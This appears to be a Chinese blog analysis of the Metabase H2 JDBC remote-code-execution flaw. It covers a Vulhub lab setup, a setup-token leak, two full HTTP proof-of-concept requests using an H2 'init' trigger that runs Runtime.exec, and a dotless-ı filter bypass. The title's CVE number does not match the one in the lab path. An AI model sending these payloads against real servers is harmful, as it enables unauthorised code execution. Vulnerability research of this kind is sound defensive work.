Metabase H2 RCE CVE-2023-39646漏洞分析

项目介绍

Metabase是一个开源的商业智能工具,可以通过它理解数据、分析数据,进行数据查询并获取格式化结果(图形化视图),以数据驱动决策。 Hologres兼容PostgreSQL,支持直接连接Metabase进行数据分析。

该项目在GitHub上面拥有34k的star,项目地址为:https://github.com/metabase/metabase

image-20230915135333775

漏洞介绍

Metabase 在 0.46.6.1 版本之前的开源版本和 1.46.6.1 版本之前的企业版本中存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。

安全版本

Metabase open source >= 0.46.6.1

Metabase Enterprise >= 1.46.6.1

Metabase open source >= v0.45.4.1

Metabase Enterprise >= v1.45.4.1

Metabase open source >= v0.44.7.1

Metabase Enterprise >= v1.44.7.1

Metabase open source >= v0.43.7.2

Metabase Enterprise >= v1.43.7.2

漏洞复现

Vulhub上面已提供该漏洞容器。

1
2
3
4
5
6
7
8
9
10
11
# Download the latest version of the vulhub 
git clone https://github.com/vulhub/vulhub.git

# Entry vulnerability directory
cd vulhub/metabase/CVE-2023-38646

# Compile (optional)
docker compose build

# Run
docker compose up -d

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
## 获取setup-token
http://hostname/api/session/properties

## 远程rce
POST http://hostname/api/setup/validate HTTP/1.1
Host: hostname
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: metabase.DEVICE=d55e4970-1bde-4987-bcd0-6a1660003134; _ga=GA1.2.97335913.1694594414; _gid=GA1.2.159403145.1694594414
If-Modified-Since: Wed, 13 Sep 2023 08:40:12 GMT
Connection: close
Content-Type: application/json
Content-Length: 399


{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

or

POST http://hostname/api/setup/validate HTTP/1.1
Host: hostname
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: metabase.DEVICE=d55e4970-1bde-4987-bcd0-6a1660003134; _ga=GA1.2.97335913.1694594414; _gid=GA1.2.159403145.1694594414
If-Modified-Since: Wed, 13 Sep 2023 08:40:12 GMT
Connection: close
Content-Type: application/json
Content-Length: 418


{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

image-20230915141328906

image-20230915141125201

image-20230915141416263

漏洞分析

setup-token泄露

setup-tokenmetabase安装过程中的一个特殊令牌。按照官方预设的流程,在安装完成后,这个令牌就会被移除。但是metabase项目在2022年1月28日的commit中,开发者删除了移除该令牌的操作。

相关commithttps://www.christ1na.cn/index.php/2023/07/30/cve-2023-38646-metabase%E6%9C%AA%E6%8E%88%E6%9D%83jdbc%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

image-20230915142910045

所以我们可以通过访问/api/session/properties接口的方式获得setup-token

image-20230915143249153

H2 RCE

前面提到了两种payload,这里只分析一种的,另外一种我没有分析出来。哭/(ㄒoㄒ)/~~

payload1

1
2
3
4
5
6
7
8
9
10
11
{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

API接口为/api/setup/validate

image-20230915144255127

程序从前端发来请求中,提取到enginetoken以及details字段。token直接调用SetupToken进行了验证。然后和调用api.database/test-database-connection方法进行测试连接。目前来看,构建对应的payload应该为。

1
2
3
4
5
6
7
8
{
"token": "**********************************",
"details":
{
"details": "***************",
"engine": "h2"
}
}

在经过一系列的调用后,程序注册了h2对应的命名空间,

image-20230915150834637

程序通过一系列调用注册H2引擎对应的命名空间,然后构建对应的连接,最后执行select 1来验证这个数据连接是否有效。

image-20230915151311283

sql-jdbc.conn/connection-details->spec在命名空间为H2的时候就调用上述的函数,从details中提取db参数(这个参数用于连接H2数据库)。这里存在一个过滤,程序将过滤db中的init参数。H2数据库允许用户设置init参数,在数据库连接时执行特定的SQL语句。于是我们可以构建以下payload

1
2
3
4
5
6
7
8
9
10
11
{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

攻击H2数据库的方式有三种:

  1. RUNSCRIPT FROM远程加载sql文件(需要出网)
  2. CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
  3. CREATE TRIGGER配合 javascript 引擎构建代码执行

我们这里采用第三种,同时我们还要注意到,目前我们这个payload还是无用的。前文提到了程序存在过滤db参数中init的行为。程序首先拆解db,然后将db中设置的参数利用u/lower-case-en转换为小写与init进行比较。而在H2数据库中,则是将参数名转换为大写。两处比较的方法不相同,我们就可以利用JavaScript的大小写特性,利用拉丁字母ı替换INIT中的I,来绕过此处过滤处理处理。于是我们可以构建对应的有效payload

1
2
3
4
5
6
7
8
9
10
11
{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

image-20230915154159603

payload2

1
2
3
4
5
6
7
8
9
10
11
12
{
"token": "**********************************",
"details":
{
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$"
},
"engine": "h2"
}
}

本payload也是有效的,而且相对于上一个payload,它不需要任何绕过的行为。

image-20230915154616887

image-20230915154719251

还是回到上面提到的过滤init操作后,程序将过滤后的details交给mdb.spec/spec :h2进行处理。可以确定的是,此刻db参数中不存在init设置。

image-20230915155113946

该函数检查了db参数是否存在,同时设置了三个新的参数,此时对应的payload如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"token": "**********************************",
"details":
{
"details":
{
"subname": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$",
"classname": "org.h2.Driver",
"subprotocol": "h2"
},
"engine": "h2"
}
}

image-20230915155905244

接下来程序调用clojure.java.jdbc库的query方法执行测试SQL语句。

image-20230915160124985

query方法又将数据库连接配置db与待执行SQL语句sql交由db-query-with-resultset*执行。略过各种调用直接跳转到建立连接的部分。

image-20230915160508756

这里的db-spec就是前面传入的db,也就是我们的payloaddetails部分。

1
2
3
4
5
6
{
"subname": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$",
"classname": "org.h2.Driver",
"subprotocol": "h2"
}

image-20230915160808251

程序简单的格式化了一下参数,再将数据传递给get-driver-connection进行处理。

image-20230915161112660

程序在这里允许对应的配置,获得数据库驱动连接。但是任然没有将init参数拼接到数据库配置参数中。

~所以,这个payload咋起效的啊!/(ㄒoㄒ)/~~

修复建议

  1. 官方已修复该漏洞,请及时更新至最新版本。
  2. 采用创宇盾等WAF封禁对/api/session/properties接口的访问。

一些胡思乱想

  1. 合并分支前一定得多检查,这个漏洞利用成功的前提还是来自2022年年初的错误commit。
  2. clojure的远程调试还是不会操作,要不然第二个payload就能分析清除情况了。
  3. 如果第二个payload起效是因为clojure.java.jdbc库的问题,那么~是不是存在一个通杀?